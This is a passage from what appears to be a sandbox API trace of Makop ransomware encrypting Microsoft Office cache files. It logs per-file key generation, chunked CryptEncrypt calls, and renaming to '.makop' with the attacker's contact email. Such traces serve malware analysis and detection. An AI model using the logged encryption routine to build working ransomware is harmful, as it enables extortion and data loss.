dwBufLen=0x7980 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x7980) returned 1 [0081.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.419] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x7980, lpOverlapped=0x0) returned 1 [0081.420] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.420] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.420] SetEndOfFile (hFile=0x124) returned 1 [0081.427] GetProcessHeap () returned 0x48a0000 [0081.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0081.427] GetProcessHeap () returned 0x48a0000 [0081.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.427] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0081.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.428] CloseHandle (hObject=0x124) returned 1 [0081.428] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0081.428] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0081.428] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0081.429] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 62 [0081.429] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*") returned 66 [0081.429] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0081.435] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.435] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0081.435] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0081.435] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.436] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=1992192) returned 1 [0081.437] GetProcessHeap () returned 0x48a0000 [0081.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.437] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.437] GetProcessHeap () returned 0x48a0000 [0081.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.437] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0081.437] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.438] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0081.443] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.444] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.444] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.444] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.444] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.445] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.445] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.445] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.459] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.462] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.464] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.464] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.465] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.465] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.481] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.484] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.486] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.486] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.504] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.507] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.507] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.510] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.510] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.510] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.510] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.510] SetEndOfFile (hFile=0x124) returned 1 [0081.519] GetProcessHeap () returned 0x48a0000 [0081.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.519] GetProcessHeap () returned 0x48a0000 [0081.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.519] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0081.519] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.521] CloseHandle (hObject=0x124) returned 1 [0081.521] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.521] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0081.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.522] GetProcessHeap () returned 0x48a0000 [0081.522] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.522] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.522] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0081.522] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xe, lpOverlapped=0x0) returned 1 [0081.527] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.527] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.527] GetProcessHeap () returned 0x48a0000 [0081.527] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.527] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0081.527] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.527] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0081.527] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0081.528] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0081.528] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0081.528] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.528] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.528] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.528] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.528] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.528] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10b2, lpOverlapped=0x0) returned 1 [0081.530] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0) returned 1 [0081.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.530] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10c0, lpOverlapped=0x0) returned 1 [0081.530] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.531] SetEndOfFile (hFile=0x124) returned 1 [0081.537] GetProcessHeap () returned 0x48a0000 [0081.537] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.537] GetProcessHeap () returned 0x48a0000 [0081.537] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.538] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0081.538] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.583] CloseHandle (hObject=0x124) returned 1 [0081.584] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0081.584] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0081.584] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0081.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.584] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=7378792) returned 1 [0081.585] GetProcessHeap () returned 0x48a0000 [0081.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.585] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.586] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.591] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.591] GetProcessHeap () returned 0x48a0000 [0081.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0081.591] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0081.591] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.591] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0081.592] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.592] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.592] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.593] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, 